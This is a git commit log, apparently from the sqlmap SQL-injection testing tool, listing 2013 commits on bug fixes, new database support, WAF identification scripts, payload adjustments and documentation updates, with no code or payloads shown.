stamparm fd5b665f7d Removing arithmetic operations from false positive checking to minimize affect of character filtering ('>' and '=' have to stay because those are minimal requirements) 2013-06-26 10:55:34 +02:00
Meatballs eb2012c599 Fix escaper 2013-06-24 23:50:33 +01:00
Meatballs 4595b2c287 decodeHexValue 2013-06-24 23:45:39 +01:00
Meatballs 5b6c01d739 Escaper 2013-06-24 23:41:45 +01:00
Meatballs 604694c0e5 Cleanup queries.xml 2013-06-24 23:22:52 +01:00
Meatballs 09e1dc814d Fix concat 2013-06-24 23:20:34 +01:00
Meatballs ed40a76c9d Fix dummy table 2013-06-24 23:18:47 +01:00
Meatballs a393b17513 modify fingerprint value 2013-06-24 15:12:37 +01:00
Meatballs 55a37183d4 Cleanup payloads file 2013-06-24 15:04:52 +01:00
Meatballs 550693032b Remote whitespace in databases.py 2013-06-24 15:03:08 +01:00
Meatballs 9212b05eeb Add call to execute statements 2013-06-24 15:01:44 +01:00
Meatballs b886e47b6d Add unimplemented files 2013-06-24 14:53:41 +01:00
Meatballs 62000c6406 Remaining files 2013-06-24 14:42:58 +01:00
Meatballs 7b6cc3d183 Add hsql settings 2013-06-24 14:38:44 +01:00
Meatballs 20a5d9a16e Include HSQL dummy table 2013-06-24 14:37:42 +01:00
Meatballs 355d3f86be hsql payloads and queries xml 2013-06-24 14:34:54 +01:00
Meatballs d739d5062d hsql plugin folder 2013-06-24 14:34:25 +01:00
Miroslav Stampar 0355e29b7c Minor fix (NoneType has no attribute split) 2013-06-24 14:49:53 +02:00
Miroslav Stampar 95ed6b7203 Minor patch (Issue #470) 2013-06-24 14:37:45 +02:00
Miroslav Stampar 4336a8fa7c Fix for overnight (previously removed : from prefix/suffix was important for XMLType payload) 2013-06-24 14:18:42 +02:00
Miroslav Stampar fca6772df6 Implementation for an Issue #468 2013-06-22 00:13:46 +02:00
Bernardo Damele a72096a345 slightly more appropriate definition of output variable 2013-06-19 20:25:01 +01:00
Bernardo Damele cae108d9fc careful at merging pull requests with TABs (#466) 2013-06-19 19:49:53 +01:00
stamparm a53823f9b7 Minor refactoring 2013-06-19 10:59:26 +02:00
stamparm 690645f6c7 Cosmetic fix 2013-06-19 10:50:00 +02:00
stamparm 20b8186fcc Fix for an Issue #467 2013-06-19 10:41:58 +02:00
stamparm a7787e83b8 Minor fix for case-insensitive union duplicates 2013-06-18 12:52:36 +02:00
Miroslav Stampar aff7092736 Merge pull request #466 from Meatballs1/xp_cmdshell_output
Unable to retrieve XP_Cmdshell Output
2013-06-18 00:47:08 -07:00
stamparm 9a6f5a95f5 Minor patch for SQLAlchemy/MSSQL 2013-06-18 09:36:09 +02:00
Miroslav Stampar 92dfb0f817 Minor patch 2013-06-16 12:35:20 +02:00
Miroslav Stampar c2dce66a46 Fix for an user reported bug (tbl can be None) 2013-06-16 12:35:05 +02:00
Meatballs c5087399c1 Fix exception if init technique not available 2013-06-16 10:47:27 +01:00
Meatballs 2c98507f1e Add better error msg 2013-06-16 10:27:08 +01:00
Meatballs caa326774c Fallback to blind 2013-06-16 10:22:20 +01:00
Miroslav Stampar 63d0e9bb12 Adding support for MsSQL >=2012 hash format (based on commit 70107f74f0be5357654f170a3f321e3e55e81881) 2013-06-13 21:50:35 +02:00
Miroslav Stampar 540493a69f Fix for empty strings (previously '' was just removed) 2013-06-11 12:56:20 +02:00
Miroslav Stampar f185e5cdd5 Fix for an Issue #463 2013-06-10 22:26:34 +02:00
Miroslav Stampar cdb434805a Using alpha character as a boundary in union/error techniques (instead of ':') to support wider range of (output filtering) cases 2013-06-10 22:14:45 +02:00
Miroslav Stampar 6f49b96a2d Fix for an Issue #462 2013-06-10 12:20:58 +02:00
Miroslav Stampar 3583f45ee7 Fix for an Issue #461 2013-06-10 11:44:56 +02:00
Miroslav Stampar ad07add549 Fixing MySQL/stacked payloads (also removing stacked conditional-error version as it's syntatically incorrect) 2013-06-05 14:32:06 +02:00
Miroslav Stampar 39612b5d87 Fix for an Issue #457 2013-06-04 23:46:39 +02:00
Miroslav Stampar c1592e8508 Code refactoring (moving import ctypes to be used only when needed) 2013-06-04 22:23:44 +02:00
Miroslav Stampar 3e0f747fad Minor fix 2013-06-04 00:05:25 +02:00
Miroslav Stampar 213d0ecfb9 Minor fix 2013-06-03 23:32:57 +02:00
Miroslav Stampar edc9da1226 Minor refactoring 2013-06-03 15:14:56 +02:00
Miroslav Stampar 351c70b390 Locale module screws string.letters, etc. in some cases (e.g. IDLE run) 2013-06-01 14:06:58 +02:00
Miroslav Stampar ca53dfad84 Minor fix 2013-06-01 13:44:50 +02:00
Miroslav Stampar b7989f93c5 Trivial update regarding last commit 2013-05-30 12:04:56 +02:00
Miroslav Stampar ed8f16e754 Minor update on user's request 2013-05-30 12:01:13 +02:00
Miroslav Stampar 12870e6ff3 Minor fix 2013-05-30 11:42:27 +02:00
Miroslav Stampar 793a8ad349 Minor fix 2013-05-30 11:38:24 +02:00
stamparm f456b5a28d Bug fix (this payload was also doable on MySQL - with CAST it's strictly being bound to Oracle only) 2013-05-29 17:41:42 +02:00
stamparm f4ca4cd6c5 Minor update 2013-05-29 15:49:09 +02:00
stamparm c3038fcb65 Minor cosmetic update 2013-05-29 15:46:59 +02:00
stamparm 8fbf4b11d2 Trivial update regarding last commit 2013-05-29 15:45:13 +02:00
stamparm dfd6ee20bb Patch for an Issue #454 2013-05-29 15:26:11 +02:00
stamparm 60df3e9d1e Minor cosmetic update (displaying 'Technique: DIRECT' instead of 'Technique: None' in case of direct access) 2013-05-29 15:04:14 +02:00
stamparm e28b056028 Dummy fix 2013-05-29 14:26:00 +02:00
stamparm 840af1fa7b Fix for missing global name __file__ 2013-05-29 10:20:43 +02:00
stamparm 6b280d8da4 Putting 2 decimal places for debug messages with performed queries (e.g. to handle a problem with 0 seconds roundup) 2013-05-28 14:40:45 +02:00
stamparm bc4e1dab19 Getting rid of those ugly warning messages 2013-05-28 11:24:56 +02:00
Bernardo Damele A. G. ba4ed30eed minor update 2013-05-28 10:53:43 +02:00
Bernardo Damele A. G. bca058e667 minor fix 2013-05-28 10:49:24 +02:00
Bernardo Damele A. G. 949d378bbd minor update to doc 2013-05-28 10:48:09 +02:00
stamparm 659c0bb418 Minor fix 2013-05-27 10:38:47 +02:00
Miroslav Stampar f3f752d85c Patch for an Issue #452 2013-05-25 18:52:59 +02:00
Miroslav Stampar a85a0e53de Fix for an Issue 'ValueError: Invalid IPv6 URL' 2013-05-25 18:00:21 +02:00
Miroslav Stampar e18796dbe1 Minor style update 2013-05-25 18:00:20 +02:00
Miroslav Stampar e7ddc2fcab Minor fix 2013-05-23 12:57:33 +04:00
Miroslav Stampar eb8e12b7c2 Minor adjustment (for headers like 'name:http://asdas') 2013-05-23 11:29:43 +04:00
Miroslav Stampar 19b87074c6 Minor fix 2013-05-22 23:30:33 +04:00
stamparm 1b3f1a4016 More appropriate naming (also, preventing ambiguities with --smart) 2013-05-22 23:21:43 +04:00
stamparm 4b2cf07262 Minor style update 2013-05-20 16:15:35 +02:00
Miroslav Stampar 1a4ea186ca Consistency fix 2013-05-19 23:00:40 +02:00
Miroslav Stampar d3ad408a21 Minor cosmetics 2013-05-19 22:17:53 +02:00
Miroslav Stampar 4f49dad2ba Minor cosmetics 2013-05-19 01:19:54 +02:00
Miroslav Stampar 6cfcc1af63 Minor cosmetic 2013-05-19 01:17:22 +02:00
Miroslav Stampar ea5c742595 Update (lagging checking is now always done once when time based compare is done; not only in case if statistical model is being filled) 2013-05-18 21:30:21 +02:00
Miroslav Stampar 980a0e3adb Trivial update 2013-05-18 21:00:53 +02:00
Miroslav Stampar 1ff98c2ff9 Another minor text update 2013-05-18 21:00:11 +02:00
Miroslav Stampar 967513e1bb Minor message update 2013-05-18 20:59:23 +02:00
Miroslav Stampar caa4ee96cd Minor cosmetic update 2013-05-18 18:28:44 +02:00
Miroslav Stampar 6608410320 Adding a question after WAF has been identified 2013-05-18 18:26:40 +02:00
Miroslav Stampar b2b3b3b5a6 Minor bug fix (level names not properly used in non-logger output) 2013-05-18 16:44:21 +02:00
Miroslav Stampar f24c8c6b6b Changing logging type to warning for parsed error messages 2013-05-18 16:17:56 +02:00
Miroslav Stampar dcea745576 Minor update (not displaying safe enclosings in table dumps) 2013-05-18 16:13:34 +02:00
Miroslav Stampar e528ea8208 Minor language fix 2013-05-18 16:02:34 +02:00
stamparm 03732d2592 Minor fix 2013-05-17 16:04:05 +02:00
stamparm b26ecfe087 Patch for an Issue #449 2013-05-17 15:14:51 +02:00
stamparm 76b4e1ccb9 Implementation for an Issue #450 2013-05-17 15:04:25 +02:00
stamparm 7ba9e75c97 Minor update related to the last commit 2013-05-16 15:23:20 +02:00
stamparm 7ea8dd9428 MySQL is specific (types are automatically being converted without any warning/error) 2013-05-16 15:12:36 +02:00
stamparm f1f34a65a2 Minor update 2013-05-15 13:38:26 +02:00
stamparm 41f0e91662 Minor update (related to last commit) 2013-05-13 14:50:03 +02:00
stamparm cb9ea67c8d Code refactoring (moving progress.py to lib/utils) 2013-05-13 14:48:39 +02:00
stamparm 936815128d Minor fix 2013-05-13 13:42:43 +02:00
Miroslav Stampar 034e123b0c Minor fix (to accept -p cookie without need for raising --level / as it's already done for referer and user_agent) 2013-05-12 16:24:13 +02:00
Miroslav Stampar b8ab37651c Minor update (tested against LAMP - %A0 makes problems) 2013-05-12 15:21:56 +02:00
Miroslav Stampar 6676eaf88f Minor fix 2013-05-12 14:02:50 +02:00
Miroslav Stampar d34286fe44 Temporary disabling 2013-05-12 13:45:32 +02:00
Miroslav Stampar f8cef1fc6f Minor fix for a test case 211 2013-05-09 21:20:17 +02:00
stamparm 8b64709c17 Completing implementation for an Issue #189 (union) 2013-05-09 16:36:03 +02:00
stamparm 3873805dab Partial implementation for an Issue #189 (error-based; still partial union left) 2013-05-09 16:23:57 +02:00
stamparm 9fe5a8832f Update for an Issue #189 (code refactoring of ProgressBar so it could be ready for usage in non-inference cases out of box) 2013-05-09 15:52:18 +02:00
stamparm fc57b7565d Implementation for an Issue #432 2013-05-09 14:26:29 +02:00
stamparm 03be419d5d Fix for an Issue #447 2013-05-07 13:25:30 +02:00
Miroslav Stampar 427d88b194 Minor overnight fix 2013-05-04 11:39:23 +02:00
stamparm 2bfdac5ebc Minor update for crawler 2013-04-30 18:32:46 +02:00
stamparm 887109a12d Minor bug fix (for not displaying heuristic detected page charset None) 2013-04-30 18:16:32 +02:00
stamparm ebe8ee3500 Fix for crawler and redirection case 2013-04-30 18:08:26 +02:00
stamparm 09e7f4f697 Minor bug fix regarding traffic logging of redirected requests 2013-04-30 17:46:26 +02:00
stamparm 3c110b3620 Minor bug fix 2013-04-30 16:40:16 +02:00
stamparm bdb9219e9b Minor revert 2013-04-30 14:41:38 +02:00
stamparm d2a5548889 Some more reordering 2013-04-30 14:32:11 +02:00
stamparm 16866119b8 Another minor update 2013-04-30 14:11:56 +02:00
stamparm 08fbfda5d2 Minor update 2013-04-30 14:06:04 +02:00
stamparm 69e3a2cb9e Minor update 2013-04-30 14:06:04 +02:00
stamparm 03c4eb8338 Minor update 2013-04-30 14:06:04 +02:00
stamparm 214d9aaf4b Language fix 2013-04-30 14:06:04 +02:00
stamparm 3266c6c1f1 Language fix 2013-04-30 14:06:04 +02:00
Bernardo Damele 96847de370 updated doc 2013-04-30 11:53:52 +01:00
Bernardo Damele 4f88fcf7b3 updated doc 2013-04-30 11:44:55 +01:00
Bernardo Damele 9f1e644f23 language fixes 2013-04-30 11:44:47 +01:00
stamparm 46557198a5 Minor update of doc root names 2013-04-29 11:29:59 +02:00
Miroslav Stampar 8817a2d657 Update README.md 2013-04-29 12:14:48 +03:00
stamparm 1035ee9c3d Patch for an Issue #442 2013-04-26 14:49:24 +02:00
Miroslav Stampar beab72a180 Minor language update 2013-04-25 19:55:45 +02:00
stamparm ff62b0d3ea Replacing a substring query for PgSQL with a non-comma version (there are no compatibility issues while skipping problems with possible comma filtering) 2013-04-25 10:14:03 +02:00
stamparm 63d7707346 Adding support for appending to the existing table dump if --start/--stop is used 2013-04-24 16:08:40 +02:00
stamparm e3a02f56e6 Just in case for --force-ssl (if url is returned in e.g. refresh toward the target) 2013-04-24 12:35:39 +02:00
stamparm 42a73d8e0b Minor language update 2013-04-24 12:10:06 +02:00
stamparm 8d382f00e8 Minor style update 2013-04-22 11:38:47 +02:00
Miroslav Stampar a475116853 Minor check 2013-04-21 21:42:23 +02:00
stamparm 0d92145fc6 Minor bug fix 2013-04-19 15:40:25 +02:00
stamparm 6e0aaafdea Fix for an Issue #438 2013-04-19 10:14:28 +02:00
stamparm 0cb3ce5765 Bug fix (maybe it will have repercusions in future as this was a silent bug) 2013-04-19 10:10:06 +02:00
stamparm b7d4afcc63 Moving '--pivot-column' to a General section (Issue #437) 2013-04-18 17:12:32 +02:00
stamparm 9d045e14e8 Implementation for an Issue #437 2013-04-18 17:06:45 +02:00
stamparm 2defc30dc6 From now on --dbms-cred can be used also in combination with -d (more flexibility as spotted that one user used in that way on ML) 2013-04-17 11:12:15 +02:00
stamparm feed2274c3 Patch for an Issue #435 2013-04-17 10:48:17 +02:00
stamparm c73489aff3 Adding a couple of new option validation checks 2013-04-16 14:31:10 +02:00
stamparm 7204ec5616 Adding a basic validation check (-d with --url) 2013-04-16 14:23:27 +02:00
stamparm 6fed1921ed Bug fix (there are cases when provided kwargs containing explicit None values while we want to use the alternative in those kind of cases; there was an intention in original code, while the implementation was buggy) 2013-04-16 14:17:41 +02:00
Miroslav Stampar 840ee26a14 If SQLAlchemy is available and it has problems while connecting then it should be smarter to not force the other (standard) method - if available 2013-04-15 18:42:26 +02:00
stamparm de99717b00 Disable sqlalchemy warnings if applicable 2013-04-15 16:29:08 +02:00
stamparm 1c2197e8de Minor bug fix for an Issue #361 (removal of that ugly garbage clean warning message after sqlmap ends) 2013-04-15 16:18:40 +02:00
stamparm 6ab2e8eca4 Trivial style update 2013-04-15 16:09:04 +02:00
stamparm a3d36fcb73 Minor update 2013-04-15 16:07:27 +02:00
stamparm 140cffbde2 Patch for an Issue #434 2013-04-15 15:57:28 +02:00
stamparm 9ccbdb3fdf Added a check for an Issue #361 2013-04-15 15:36:10 +02:00
stamparm 1c47b33020 Few bug fixes in -d (there were late values in payloads in some cases; sqlalchemy returns RowProxy for tuple) 2013-04-15 15:23:45 +02:00
stamparm f936746423 Code restyling 2013-04-15 14:31:27 +02:00
stamparm aed738d6e6 Update for an Issue #361 2013-04-15 14:20:21 +02:00
stamparm a9a0d1a3f9 Minor update 2013-04-15 11:56:19 +02:00
stamparm 10fbeaed7b Code refactoring 2013-04-15 11:49:11 +02:00
stamparm 349f885f08 Minor patch 2013-04-15 11:41:53 +02:00
stamparm 8853e43616 Applying patch from Brandon Perry via ML 2013-04-15 11:01:07 +02:00
stamparm 3e65037a05 Introducing lib/utils/sqlalchemy.py (Issue #361) 2013-04-15 10:33:25 +02:00
Miroslav Stampar b6fee638ef Neutralizing time of cookie expiration (in case of --load-cookies) 2013-04-14 01:13:08 +02:00
Miroslav Stampar ed5599f489 In case that cookie file is given and cookie header inside request file clashes with one of contained cookies, give cookie file greater priority 2013-04-12 19:20:33 +02:00
stamparm 7edd7ee2aa Trivial code change 2013-04-12 16:25:24 +02:00
Miroslav Stampar 73917fc9c8 Minor update (same, but safer) 2013-04-11 21:25:44 +02:00
Miroslav Stampar 0b449bb1d9 Fix for an Issue #433 2013-04-10 19:33:31 +02:00
stamparm f67148a9a4 Update for an Issue #431 2013-04-10 16:43:57 +02:00
stamparm 661b44135d Minor bug fix 2013-04-10 11:59:07 +02:00
stamparm 9c264e6426 Revert back of SQLite3 time-based payload as of regression test failing 2013-04-10 11:10:19 +02:00
stamparm 8c9da95343 Style and consistency update (url -> URL) 2013-04-09 11:48:42 +02:00
stamparm 3948b527dd Update for an Issue #429 2013-04-09 11:36:33 +02:00
stamparm 91054099aa Minor style update 2013-04-09 10:42:58 +02:00
stamparm cce541cc33 Patch for an Issue #429 2013-04-09 10:39:20 +02:00
stamparm 33e9b3c451 Minor style update 2013-04-09 10:39:20 +02:00
Miroslav Stampar 438fd296d6 Update README.md 2013-04-08 11:41:59 +03:00
Miroslav Stampar 7614c815ed Minor update/patch 2013-04-07 21:32:03 +02:00
Miroslav Stampar 240e9f3f7e Minor patch 2013-04-07 11:02:43 +02:00
Miroslav Stampar 50ac3aab7a Minor patch 2013-04-06 01:56:24 +02:00
stamparm a75d3ed0b8 Minor style update 2013-04-06 01:56:23 +02:00
Miroslav Stampar 3794c3cc2f Update README.md 2013-04-04 18:08:36 +03:00
Miroslav Stampar bd5cabd975 Update README.md 2013-04-04 18:05:04 +03:00
Miroslav Stampar 976c600a83 Update README.md 2013-04-04 17:40:15 +03:00
Miroslav Stampar df4fd82515 Minor update 2013-04-03 23:27:27 +02:00
Miroslav Stampar c75a2d0c40 Minor patch 2013-04-03 21:31:37 +02:00
Miroslav Stampar 153aa10b77 Minor cosmetic update 2013-04-03 19:00:54 +02:00
stamparm acc650d3dc Minor fine tuning 2013-04-03 15:14:25 +02:00
stamparm 125168c515 Reverting back to 8002531b63 (that last 76dcbbda0f resulted in 'too big blob') 2013-04-03 14:38:13 +02:00
stamparm 76dcbbda0f Reverting last commit and making heavy query on SQLite heavier 2013-04-03 14:23:28 +02:00
stamparm 8002531b63 Heavy queries should not have --time-sec set to some small value in live tests as their responses are machine dependent (on fast machines --time-sec=2 will result in fast responses making sqlmap life harder) 2013-04-03 14:17:13 +02:00
Miroslav Stampar f387333415 Minor cosmetics 2013-04-02 17:34:56 +02:00
Miroslav Stampar 4b5335a323 Moving --force-ssl from [Request] to [General] options 2013-04-02 17:18:21 +02:00
Miroslav Stampar 76a0d20799 Minor patch 2013-04-01 22:18:41 +02:00
Miroslav Stampar b67f342975 Minor patch 2013-04-01 17:32:16 +02:00
stamparm a371f182ac Minor patch (previous combination is not working well with oriental characters - 0 length normalized unicode string is being returned) 2013-03-28 15:37:14 +01:00
stamparm e1ffdde532 Little cleaning a mess with url encoding and post hint types 2013-03-27 13:39:27 +01:00
Miroslav Stampar c19a283434 Minor patch 2013-03-26 20:06:50 +01:00
stamparm 7accba4cf9 Minor update 2013-03-26 16:10:41 +01:00
stamparm 0882fe0ce3 Minor update related to the last two 2013-03-26 16:04:56 +01:00
stamparm eb1bfc20cb Update related to the last commit 2013-03-26 15:36:44 +01:00
stamparm 2fe6aea0eb Minor fix 2013-03-26 15:07:14 +01:00
stamparm 825aa4b8dd Minor language update 2013-03-26 14:27:51 +01:00
stamparm 5dd2529b02 Minor language update 2013-03-26 14:18:37 +01:00
stamparm 4d2b77dde3 Minor language update 2013-03-26 14:15:40 +01:00
stamparm 473a39b820 Minor language fix 2013-03-26 14:11:17 +01:00
stamparm 3f8dafedae Minor text update 2013-03-26 14:08:35 +01:00
stamparm 64ba88096f Adding a new test case (Issue #423) 2013-03-21 12:13:13 +01:00
stamparm ad039c335d Implementation for an Issue #423 2013-03-21 11:28:44 +01:00
stamparm 3740a97cc9 Adding a --version switch like all command line programs have 2013-03-20 11:44:09 +01:00
stamparm 7447773237 Update for consistency (all other enums are using _ in between words) 2013-03-20 11:10:24 +01:00
stamparm ae6ce7db30 Removal of unused imports 2013-03-20 10:44:15 +01:00
stamparm c5573dc2d5 Update of doc/THANKS 2013-03-20 10:34:48 +01:00
stamparm 5857a09e2e New WAF scripts 2013-03-20 10:32:15 +01:00
Miroslav Stampar 8acf033715 Code refactoring 2013-03-19 19:24:14 +01:00
Miroslav Stampar a3d9a7b1ff Minor fix 2013-03-19 19:06:51 +01:00
stamparm d1ae62b22b Patch for an Issue #422 2013-03-19 12:27:49 +01:00
stamparm 6969874c02 Switch --no-cast is incompatible with switch --hex (integer values are not being casted in case of --no-cast --hex which is causing unwanted decodings of returned values) 2013-03-19 10:52:37 +01:00
stamparm 10e6c70c22 Trivial style update (undoing last dummy commit) 2013-03-19 10:43:29 +01:00
stamparm 70265fd3b5 Trivial style update 2013-03-19 10:43:03 +01:00
stamparm 5adac57ca9 Trivial style update 2013-03-19 10:42:50 +01:00
stamparm 558ef0aaff Minor fix 2013-03-19 10:42:20 +01:00
stamparm e226006766 Trivial fix 2013-03-18 13:29:55 +01:00
stamparm 5e02bcbd58 Minor adjustment 2013-03-18 12:16:16 +01:00
stamparm 7111cdabe3 Minor cosmetics 2013-03-18 11:41:15 +01:00
stamparm ba1e9aa373 Adding new WAF script 2013-03-18 11:22:30 +01:00
Miroslav Stampar 5df1f5528e More general update for an Issue #421 2013-03-15 22:49:09 +01:00
Miroslav Stampar f0a419bdec Patch for an Issue #421 2013-03-15 22:08:15 +01:00
Miroslav Stampar 596cf95040 Minor fix 2013-03-15 17:22:33 +01:00
Miroslav Stampar 2938ac550c Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-03-15 17:00:15 +01:00
Miroslav Stampar ff4e62ff90 Minor cosmetics 2013-03-15 17:00:01 +01:00
Bernardo Damele 2334e0e929 minor fix 2013-03-15 15:55:27 +00:00
Miroslav Stampar 4010df307e Trivial cosmetics 2013-03-15 16:37:52 +01:00
Miroslav Stampar 4cb378ce3e Another update for an Issue #352 and couple of fixes 2013-03-13 21:57:09 +01:00
Miroslav Stampar b35122a42c Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-03-13 19:52:17 +01:00
Miroslav Stampar eb08c8d752 Another update for an Issue #352 2013-03-13 19:42:22 +01:00
Bernardo Damele dea62189b2 fixes #420 2013-03-12 22:16:42 +00:00
Miroslav Stampar 2f43c3eb9b Minor fix (digest live test case) and some refactoring 2013-03-12 21:16:44 +01:00
Miroslav Stampar 65306f1ac1 Update for an Issue #352 2013-03-12 20:10:32 +01:00
Miroslav Stampar db0a1e58b9 Update for an Issue #352 2013-03-11 14:58:05 +01:00
Miroslav Stampar d6fc10092f Minor refactoring 2013-03-11 13:31:50 +01:00
Miroslav Stampar 84a5bdb9cf Trivial cosmetics 2013-03-09 19:41:24 +01:00
Miroslav Stampar 79d6a0e9c9 Using binary data in dummy mode 2013-03-09 19:40:24 +01:00
Miroslav Stampar 1e731f87a4 Patch for an Issue #419 (Authentication header is now properly being cached - no more one reauth per each request) 2013-03-09 19:33:04 +01:00
Miroslav Stampar 8e6692d793 Minor fix (for JSON values with :) 2013-03-05 20:12:24 +01:00
Bernardo Damele 30cf933445 added one more test case 2013-03-05 18:21:45 +00:00
Miroslav Stampar e9b86350f1 Patch for an Issue #403 2013-03-05 18:32:31 +01:00
Miroslav Stampar 7190205a46 Revert of previous commit (substrings are checked too) 2013-03-05 18:26:47 +01:00
Miroslav Stampar e050efa3e2 Minor fix (common outputs are whole string values - not partial) 2013-03-05 18:09:26 +01:00
Miroslav Stampar 62980d7d5a Automatically decoding url encoded data in response 2013-03-05 17:32:10 +01:00
Miroslav Stampar 9e49d8c68f Adding support for SHA2 hash functions 2013-03-05 11:04:46 +01:00
Miroslav Stampar 2ada9e9b84 Patch for an Issue Issue #416 2013-03-04 18:05:40 +01:00
Miroslav Stampar 084cfc797a Fix for an Issue #415 2013-03-02 09:55:12 +01:00
Miroslav Stampar e7c66a2a76 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-03-02 09:44:17 +01:00
Miroslav Stampar 333ca0369b Merge pull request #413 from Bjerregaard/master
Fixed bug in false positive test for time-based injections
2013-03-02 00:43:32 -08:00
Martin Bjerregaard Jepsen d7a77c79ad Fixed incorrect call to checkBooleanExpression when testing for false positives 2013-03-01 22:51:34 +01:00
stamparm 46b9a602ba Minor style update (because of consistency with other payloads; also, Oracle is uppercase oriented) 2013-03-01 12:43:08 +01:00
stamparm 3a3f9c5ea1 Trivial commit related to the last one 2013-03-01 12:09:03 +01:00
stamparm 55f33da85a Fix for invalid logical test cases 2013-03-01 12:04:49 +01:00
stamparm 440b484bf6 Minor update (one more just in case dummy request in false positive check for time-based injections - when DBMS could be unresponsive a bit due to previous heavy-queries) 2013-03-01 10:59:04 +01:00
Miroslav Stampar e42350ddce Minor style update 2013-02-28 20:28:34 +01:00
Miroslav Stampar 0e89cc62a2 Adding a hidden switch --dummy used for dummy runs (getPage() returns random data) - usefull for testing purposes for skipping connections 2013-02-28 20:20:08 +01:00
Miroslav Stampar bf05709841 Addin new WAF scripts 2013-02-28 18:54:56 +01:00
Miroslav Stampar b5cc1a99db Minor fix (KONA uses same core set rules) 2013-02-28 18:54:12 +01:00
stamparm 9ef79df23d Cleaning up cases with Set-Cookie (conf.cj is handling it automatically; also, default redirector needed to be patched) 2013-02-28 13:51:08 +01:00
stamparm aa59266804 Minor update 2013-02-27 14:28:54 +01:00
stamparm 2e2658d4fa Adding new WAF scripts 2013-02-26 16:06:19 +01:00
stamparm be50192d8d Refactoring WAF scripts 2013-02-26 15:54:50 +01:00
stamparm e5835dc74f Update for WAF scripts 2013-02-26 15:30:11 +01:00
stamparm 6c38afab35 Minor update 2013-02-26 14:49:37 +01:00
stamparm 17fa0f568c Minor patch for an Issue #404 2013-02-26 12:55:09 +01:00
stamparm ecbcd4afe6 Minor update 2013-02-26 12:55:09 +01:00
Bernardo Damele 0835fb2e0f Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-02-26 10:20:19 +00:00
Bernardo Damele 88cda87451 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-02-26 10:19:23 +00:00
stamparm 2fc9396bb0 Minor fix for TrafficShield WAF script 2013-02-26 11:19:12 +01:00
stamparm af4762ace2 Minor style update 2013-02-26 11:16:09 +01:00
Bernardo Damele c85d57522c Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-02-26 10:12:25 +00:00
Bernardo Damele 34ce8742f1 removed leftover 2013-02-26 10:12:18 +00:00
stamparm f6b43b4b13 Minor update for an Issue #290 2013-02-26 11:08:06 +01:00
stamparm 9d81be7af5 Removing redundant piece of code 2013-02-25 14:12:57 +01:00
stamparm dc9dc233b6 Adding a comment 2013-02-25 14:07:20 +01:00
stamparm 0d2138a4a0 Minor fix for escaping unicode strings in SQLite escaper 2013-02-25 14:06:46 +01:00
stamparm e5e39bc682 Fix for an Issue #410 2013-02-25 11:07:30 +01:00
stamparm 6fbd902265 Minor refactoring (Issue #411) 2013-02-25 10:44:04 +01:00
stamparm bdf72b0ffa Minor fix 2013-02-22 17:34:53 +01:00
stamparm 7127869ede Minor bug fix (live test specific verbosity should be valid only inside of it) 2013-02-22 17:26:48 +01:00
stamparm 68ce51bfd4 Changing from warn to info for no WAF found 2013-02-22 12:15:38 +01:00
stamparm ad471368f5 Fixing a display bug (cases where messages are just appended after the readInput line in batch mode) introduced with b472d9809a 2013-02-22 11:42:09 +01:00
stamparm 0bbbfc2eac Adding a small warning message (related to the Issue #407) 2013-02-22 11:12:41 +01:00
stamparm 42cbd94fa4 Better update regarding 6acb2480b8 2013-02-22 10:49:45 +01:00
stamparm 44a46d2b10 Fix for an Issue #409 2013-02-22 10:18:22 +01:00
Miroslav Stampar 6acb2480b8 Adding WAF script for SecureIIS 2013-02-21 21:34:26 +01:00
Miroslav Stampar c555120c1f Adding WAF script for Microsoft ISA Server 2013-02-21 21:13:48 +01:00
Miroslav Stampar 229e4e167b Minor cosmetics 2013-02-21 21:06:31 +01:00
Miroslav Stampar 6058eecba0 Adding WAF script for WebKnight 2013-02-21 21:04:49 +01:00
stamparm 3a8c0cd3a2 Minor style update 2013-02-21 14:52:56 +01:00
stamparm fc554e5b99 Update for an doc/THANKS (Issue #290) 2013-02-21 14:51:04 +01:00
stamparm 29ba43ee6c Unhidding switch '--identify-waf' (Issue #290) 2013-02-21 14:48:19 +01:00
stamparm 08f0670aca Minor refactoring for an Issue #290 2013-02-21 14:39:22 +01:00
stamparm 8e49872d7c Finalizing implementation for an Issue #290 2013-02-21 14:33:12 +01:00
stamparm 6a2129268d Update of year in COPYING file 2013-02-21 12:48:12 +01:00
stamparm 6b2981ef4e Update for an Issue #290 (adding tamper-like scripts into (new) directory waf) 2013-02-21 11:14:57 +01:00
Miroslav Stampar f593e1d30f Reverting last commit as there is bunch of similar 2013-02-20 17:35:36 +01:00
stamparm e2b7384921 Adding a new test case (--sql-query) 2013-02-20 14:10:39 +01:00
stamparm ba015608c6 Update for special cases 2013-02-19 10:12:47 +01:00
stamparm 69063947b6 Debug message should go with logging.DEBUG 2013-02-19 09:46:51 +01:00
Bernardo Damele d7247a51ee do not prompt constantly if the page is not found 2013-02-18 18:08:20 +00:00
Miroslav Stampar 6c8e8e2a0f Minor fix 2013-02-18 15:23:55 +01:00
Miroslav Stampar 7f293afe74 Proper escaping for SQL identificators in Oracle (also, revert for 9b5f33560b) 2013-02-18 15:18:53 +01:00
Miroslav Stampar f817105db3 Minor bug fix 2013-02-18 14:40:39 +01:00
Miroslav Stampar 75a9404cb5 Bug fix (unenclosed 'SELECT * FROM user' returns result for a system function user <- previous results were illegal) 2013-02-18 14:15:48 +01:00
Miroslav Stampar 5c099efccc Fix for an Issue #401 2013-02-18 11:38:18 +01:00
Bernardo Damele 6bacbdb031 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-02-15 17:12:09 +00:00
Bernardo Damele 5abca52924 added one more test case 2013-02-15 17:11:40 +00:00
Miroslav Stampar 9b5f33560b Oracle is too specific (only column names can be enclosed) - removing it 2013-02-15 17:36:58 +01:00
Miroslav Stampar bf82506c1b Oracle can't enclose table names with double quotations 2013-02-15 17:36:58 +01:00
Miroslav Stampar 1b3d749488 Proper fix related to the last commit/revert 2013-02-15 17:36:58 +01:00
Miroslav Stampar 5a793cbc7c Minor revert 2013-02-15 17:36:58 +01:00
Miroslav Stampar 046f347f5d Minor fix 2013-02-15 17:36:58 +01:00
Miroslav Stampar 834ae6aac0 Another minor update 2013-02-15 17:36:58 +01:00
